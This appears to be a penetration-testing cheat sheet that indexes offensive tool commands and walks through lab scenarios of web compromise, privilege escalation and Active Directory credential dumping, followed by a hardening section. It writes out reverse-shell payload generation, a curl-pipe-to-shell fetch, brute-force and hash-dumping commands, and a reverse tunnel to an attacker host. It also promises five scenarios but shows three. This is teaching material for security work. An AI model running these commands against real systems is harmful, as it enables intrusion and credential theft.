terminal SYNTHESIZED CHEAT SHEETS & PRACTICAL LEARNING

Security Tools Command Index & Quick Reference

High-density command index covering reconnaissance, web testing, exploitation, password analysis, and traffic tools.

Overview

Security Tools Command Index & Quick Reference is an exhaustive, production-grade technical index cataloging over 25 essential offensive and defensive security tools, flag parameters, and real-world penetration testing scenarios. Designed as an operational workbench for practitioners, TryHackMe researchers, and security auditors.

Core Operational Phases

Practical security assessments flow through structured operational phases: Surface Reconnaissance → Endpoint Fuzzing → Vulnerability Exploitation → Credential Recovery → Privilege Escalation → Post-Exploitation & Pivoting. This handbook organizes commands and usage scenarios according to this professional methodology.

Tool Master Matrix

Category	Primary Tools	Key Functionality
Reconnaissance	`nmap`, `sublist3r`, `whatweb`, `dig`, `amass`	Host discovery, port sweeping, DNS profiling & tech stack fingerprinting
Web Auditing	`gobuster`, `ffuf`, `sqlmap`, `nikto`, `wpscan`	Directory fuzzing, SQL injection extraction, CMS auditing & header inspection
Credentials	`hydra`, `hashcat`, `john`, `cewl`, `hashid`	Online login brute force, GPU/CPU hash recovery & targeted wordlist generation
Exploitation	`msfconsole`, `msfvenom`, `searchsploit`, `nc`, `socat`	Exploit modules, payload generation, reverse listeners & PTY handlers
PrivEsc & Post-Ex	`linpeas`, `winpeas`, `pspy`, `mimikatz`, `impacket`	Automated misconfiguration audits, process snooping & Active Directory triage
Pivoting & Traffic	`chisel`, `wireshark`, `tshark`, `tcpdump`, `proxychains`	SOCKS5 reverse tunneling, port forwarding & deep packet protocol forensics

Master Tool Commands by Category

1. Reconnaissance & Surface Mapping

BASH // RECONNAISSANCE SHORTCUTSNMAP & OSINT

# Fast ping sweep to map live hosts across CIDR range
$ nmap -sn 192.168.1.0/24 -oN live_hosts.txt

# Comprehensive SYN stealth scan with version and default NSE scripts
$ nmap -sS -sV -sC -p- -T4 --min-rate 1000 -oA full_scan 192.168.1.10

# Scan UDP top 100 ports for DNS, SNMP, TFTP
$ sudo nmap -sU --top-ports 100 192.168.1.10

# Fingerprint web technologies & server banners
$ whatweb -v -a 3 http://192.168.1.10

# DNS zone transfer interrogation & authoritative record query
$ dig target.local ANY +noall +answer
$ dig axfr @ns1.target.local target.local

2. Web Application Fuzzing & SQL Injection

BASH // WEB RECON & INJECTIONGOBUSTER, FFUF & SQLMAP

# Directory brute forcing with Gobuster
$ gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 30

# Virtual host (VHost) fuzzing to discover unlinked subdomains
$ gobuster vhost -u http://target.local -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

# High-speed endpoint fuzzing with ffuf matching HTTP 200, 301, 302
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.1.10/FUZZ -mc 200,301,302 -c -v

# Automated SQL Injection assessment & database dumping with SQLmap
$ sqlmap -u "http://192.168.1.10/product.php?id=1" --batch --dbs
$ sqlmap -u "http://192.168.1.10/product.php?id=1" -D users_db -T accounts --dump

# Nikto comprehensive web server misconfiguration audit
$ nikto -h http://192.168.1.10 -C all

3. Password Auditing & Hash Cracking

BASH // CREDENTIAL SECURITYHYDRA, HASHCAT & JOHN

# Multi-threaded dictionary attack on SSH service with Hydra
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 -t 4

# HTTP POST form authentication brute force with Hydra
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=invalid password"

# Identify cryptographic hash algorithm
$ hashid "$6$saltsalt$..."

# GPU-accelerated hash recovery with Hashcat (MD5 = 0, NTLM = 1000, SHA-256 = 1400)
$ hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
$ hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Offline password cracking with John the Ripper
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes.txt
$ john --show hashes.txt

4. Exploitation, Payloads & Listeners

BASH & MSF // EXPLOITATION ARSENALSEARCHSPLOIT, MSF & NETCAT

# Search local Exploit-DB by software and version
$ searchsploit "vsftpd 2.3.4"
$ searchsploit -m unix/remote/49757.py

# Generate staged Linux x64 Meterpreter reverse shell ELF binary
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=4444 -f elf -o shell.elf

# Generate Windows x64 stageless reverse shell executable
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.23 LPORT=4444 -f exe -o implant.exe

# Start Netcat reverse shell listener with verbose output
$ nc -lvnp 4444

# Start Socat fully interactive TTY listener
$ socat file:`tty`,raw,echo=0 TCP-L:4444

5. Privilege Escalation & Host Enumeration

BASH // POST-EXPLOITATIONLINPEAS, SUID & PSPY

# Locate SUID root binaries on Linux filesystem
$ find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# Inspect current user sudo permissions without password
$ sudo -l

# Automated Linux privilege escalation audit with LinPEAS
$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Monitor background cron jobs & unprivileged processes in real time without root
$ chmod +x pspy64 && ./pspy64 -pf -i 1000

# Dump Active Directory NTDS.dit password hashes with Impacket
$ secretsdump.py corp.local/admin:Password123@10.10.10.150 -just-dc-ntlm

6. Pivoting, Port Forwarding & Tunnels

BASH // PIVOTING & TUNNELINGCHISEL & PROXYCHAINS

# Start Chisel reverse SOCKS5 server on attacker machine
$ ./chisel server -p 8000 --reverse

# Connect from compromised internal pivot host back to attacker
$ ./chisel client 10.10.14.23:8000 R:1080:socks

# Route Nmap or any tool through the Chisel SOCKS5 proxy via /etc/proxychains4.conf
$ proxychains nmap -sT -Pn -p 22,80,445 172.16.1.15

# SSH dynamic SOCKS proxy on port 9050
$ ssh -D 9050 -N -C user@192.168.1.10

7. Packet Inspection & Traffic Forensics

BASH // NETWORK PACKET ANALYSISWIRESHARK, TSHARK & TCPDUMP

# Capture 100 packets on eth0 interface filtering HTTP traffic
$ sudo tcpdump -i eth0 -n -c 100 port 80 -w http_capture.pcap

# Read PCAP file with Tshark and extract HTTP hostnames and URI requests
$ tshark -r http_capture.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri

# Extract plaintext FTP or HTTP credentials from PCAP file
$ tshark -r http_capture.pcap -Y 'http.request.method == "POST"' -T fields -e text

# Filter packets containing TCP SYN flags
$ tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0"

Five Real-World Practical Penetration Testing Scenarios

SCENARIO 01 // WEB RECON TO ROOT SHELL

Black-Box Web Application Compromise & Privilege Escalation

Objective: Assess an unknown IP target (10.10.110.45), locate hidden web assets, exploit SQL injection to extract admin credentials, gain initial shell, and escalate privileges to root.

Step 1: Network Scoping & Discovery

$ nmap -sS -sV -sC -T4 -p 21,22,80,445 10.10.110.45

Step 2: Web Endpoint Fuzzing

$ gobuster dir -u http://10.10.110.45 -w /usr/share/wordlists/dirb/common.txt -x php,txt

Finding: Discovered /admin/ (HTTP 301) and vulnerable script /product.php?id=1.

Step 3: Database Injection & Credential Extraction

$ sqlmap -u "http://10.10.110.45/product.php?id=1" -D users_production -T accounts --dump

Result: Cracked cleartext password for user admin:Password123.

Step 4: Initial Foothold via SSH

$ ssh admin@10.10.110.45

Step 5: Local Privilege Escalation via SUID

$ find / -perm -4000 -type f 2>/dev/null

$ find . -exec /bin/sh -p \; -quit

# whoami → root (uid=0) - System fully compromised!

SCENARIO 02 // INTERNAL ACTIVE DIRECTORY AUDIT

Active Directory Kerberos Enumeration & Domain Dominance

Objective: Enumerate a Windows Server 2022 Domain Controller (10.10.10.150) from a Linux attacking station without domain credentials.

Step 1: Enumerate Anonymous SMB Shares

$ smbclient -L //10.10.10.150/ -N

Step 2: AS-REP Roasting (No Pre-Authentication Users)

$ GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

Step 3: Hash Recovery

$ hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Step 4: Dump Domain Credentials via DCSync

$ secretsdump.py corp.local/svc_backup:Pass2026@10.10.10.150 -just-dc

Result: Administrator NTLM hash dumped successfully!

SCENARIO 03 // LINUX DEFENSE & HARDENING

Linux System Hardening, Auditd Rules & SSH Key Enforcement

Objective: Secure a compromised Linux machine post-assessment, eliminate persistent backdoors, and establish tamper-proof audit trails.

Step 1: Enforce SSH Key Authentication Only

$ sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config

$ sudo systemctl restart sshd

Step 2: Auditd File Monitoring on Sensitive Configs

$ sudo auditctl -w /etc/passwd -p wa -k identity_tampering

$ sudo auditctl -w /etc/shadow -p wa -k shadow_tampering

Step 3: Audit Listening Daemons & Firewall Boundaries

$ ss -tuln

$ sudo ufw default deny incoming && sudo ufw default allow outgoing

$ sudo ufw allow 22/tcp && sudo ufw enable

Practical Workflow & Operational Checklist

Identify Assessment Scope: Verify IP, domain, and port range permissions in the formal Rules of Engagement (ROE).
Capture Raw Evidence: Always pipe commands with output flags (-oA, -oN, or tee loggers) to maintain timestamped forensic records for reporting.
Sanitize Parameter Values: Ensure target strings do not contain unintended shell escapes before running automated loops.
Post-Testing Remediation: Remove test web shells, delete temporary FIFO files (/tmp/f), and restore default permission bits.

Common Mistakes & Troubleshooting

Raw Socket Privileges: Nmap SYN scan (-sS), OS detection (-O), and tcpdump fail without sudo or raw network capabilities.
Reverse Shell NAT Misconfiguration: Ensure LHOST is set to your reachable VPN interface IP (tun0), not 127.0.0.1 or an internal gateway.
Wordlist Encoding Issues: If dictionary tools report parsing errors, check file encoding: file /usr/share/wordlists/rockyou.txt and convert using iconv if required.